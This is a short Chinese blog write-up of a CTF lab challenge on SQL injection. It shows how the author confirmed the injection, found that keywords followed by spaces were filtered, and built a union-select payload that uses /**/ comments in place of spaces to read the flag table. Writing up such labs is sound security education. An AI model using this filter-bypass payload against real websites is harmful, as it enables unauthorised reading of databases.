实验吧 简单的sql注入

2019-03-10  本文已影响0人  theLexical

题目如下

image.png
  1. 首先简单判断是否存在sql注入
    输入1,显示ID:1,name:baloteli
    输入1',显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
    说明存在sql注入漏洞。
  2. 判断过滤掉了什么
    输入1 and 1=1或者union 1=1,回显ID: 1 1=1,说明过滤了and ,union ,这些关键字。主要是通过union+space过滤,而空格可以写成/**/来代替
  3. 构造payload
    显然我们要从一个表中获取flag值,猜测表名和列名都是flag,查询语句应为:
    select flag from flag
    猜测原来的SQL查询语句为:
    "select * from table where id= '$id' " (这个查询只是象征性的表示一下)
    那么构造的payload应该为:
1' union select flag from flag where '1'='1
# 空格换为/**/
1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
# 整体来看
"  select * from tables where id= '1' union select flag from flag where '1'='1'   "

最终就爆出了flag的值。


image.png
上一篇 下一篇

猜你喜欢

热点阅读